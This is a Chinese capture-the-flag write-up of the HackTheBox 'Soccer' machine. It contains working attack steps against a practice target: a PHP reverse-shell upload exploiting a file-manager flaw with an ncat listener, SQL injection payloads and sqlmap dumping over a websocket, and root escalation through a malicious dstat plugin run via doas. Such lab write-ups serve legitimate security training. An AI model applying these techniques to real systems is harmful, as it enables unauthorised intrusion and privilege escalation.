HackTheBox-Machines--Soccer

Soccer 测试过程


1 信息收集


   a.端口扫描:发现22、80、9091端口
   b.目录扫描:http://soccer.htb/tiny/
   c.子域爆破
   d.信息泄漏

nmap -sC -sV 10.129.87.151

在这里插入图片描述

  端口扫描结果:开放 22、80、9091 未知服务,首先从 80 web端口开始进行测试。

echo "10.129.87.151 soccer.htb" | sudo tee -a /etc/hosts

  使用gobuster进行目录扫描,检查是否有目录或敏感文件的泄漏

./gobuster dir -u http://soccer.htb/ -w directory-list-2.3-medium.txt

在这里插入图片描述

  枚举出 /tiny 目录,查看该目录为Tiny File Manager
在这里插入图片描述

  搜索该登录登录页相关信息,发现github仓库中存在默认口令 admin/admin@123 and user/12345,并使用admin/admin@123成功登录

在这里插入图片描述

在这里插入图片描述

  检查页面内容发现 Tiny File Manager 2.4.3 ,搜索相关版本信息,发现此版本存在已知漏洞

在这里插入图片描述

2 CVE-2021-45010 漏洞利用


  Tiny File Manager <= 2.4.6,允许具有有效用户帐户的远程攻击者将恶意 PHP 文件上传到 webroot 并在目标服务器上实现代码执行。此漏洞编号为CVE-2021-45010

  漏洞利用:在File Manager下存在文件上传目录,我们可以通过上传反弹shell脚本,并访问脚本地址触发,获取shell
在这里插入图片描述

# 执行监听
ncat -lnvp 4444

  访问上传的反弹shell PHP 脚本进行触发:http://soccer.htb/tiny/uploads/php-reverseshell.php

在这里插入图片描述

  获取到的shell权限为www-data,www-data用户通常具有对网站根目录及其子目录的读取和执行权限,以便可以向用户提供网站内容。但是,www-data用户通常不具有写入权限,以防止恶意用户上传恶意代码或文件。

3 横向移动


信息收集

  sites-available 文件夹用于存放网站的配置目录,意为可用的网站列表,用于在需要时链接到 sites-enabled 中作为需要启用的网站。

  在www-data权限下,访问sites-available文件夹可以查看是否有可利用的配置等。

ls -la /etc/nginx/sites-enabled

在这里插入图片描述

  sites-available文件夹下,发现子域 soc-player.soccer.htb/,添加hosts,进行访问

echo "10.129.87.151 soc-player.soccer.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

  在子域 soc-player.soccer.htb/中存在Login和Signup接口,Login功能无法利用,尝试对Signup功能进行测试。注册新用户。

在这里插入图片描述

  使用注册的账号密码进行登录,登录后界面如下,在登录界面发现:Your Ticket Id:99625,可能为利用点

在这里插入图片描述

  查看网页源代码,发现此功能运行于9091端口的websocket服务上,抓取websocket请求包,观察请求

在这里插入图片描述

在这里插入图片描述

  发送请求,观察响应内容,响应显示Ticket Doesn't Exist,由此判断,id参数可能被提交到数据库,并在数据库中进行了查询对比,以此来判断id参数是否存在于数据库中。

在这里插入图片描述

  id参数被提交到数据库中进行查询,那就可以进行sql注入尝试

"id":"99625'"
"id":"99625 or 1=1"

在这里插入图片描述

使用sqlmap对id参数进行注入

  使用sqlmap对webscoket进行时间盲注的原理可见链接https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

  1.安装 websocket-client
  2.使用google链接脚本将请求格式化为JSON消息并进行注入,需将 ws_server 和 data 参数更改为注入地址及注入参数

# 更改后如下
ws_server = "ws://soc-player.soccer.htb:9091"
data = '{"id":"%s"}' % message
pip install websocket-client
python3 web-socket.py

  3.使用sqlmap进行sql注入

sqlmap -u http://localhost:8081/?id=1 -p "id" --dump-all --exclude-sysdbs

在这里插入图片描述

  4.使用player:PlayerOftheMatch2022进行ssh登录 ssh player@10.129.203.131

在这里插入图片描述

4 权限提升

# 无可利用点
sudo -l

在这里插入图片描述

  寻找SetUID二进制文件。SUID安全机制,允许使用文件所有者的权限运行可执行文件。此处使用SUID提权

find / -type f -perm -4000 2>/dev/null

在这里插入图片描述

  /usr/local/bin/doas,doas是OpenBSD操作系统上常见的替代方案sudo,但可以安装在基于Debian的Linux操作系统(如 Ubuntu)上。

# 查看doas配置文件doas.conf
find / -name doas.conf 2>/dev/null
cat /usr/local/etc/doas.conf

在这里插入图片描述
  permit nopass player as root cmd /usr/bin/dstat,player用户可以以root权限运行dstat命令。

搜索dstat相关信息,在文件中发现如下解释
  插件是名为dstat_[plugin name].py的Python脚本
  /usr/local/share/dstat目录可写,可以写入bash shell
在这里插入图片描述

  将bash写入/usr/local/share/dstat目录

echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_0xdf.py

  使用dstat调用0xdf插件

doas /usr/bin/dstat --0xdf

在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值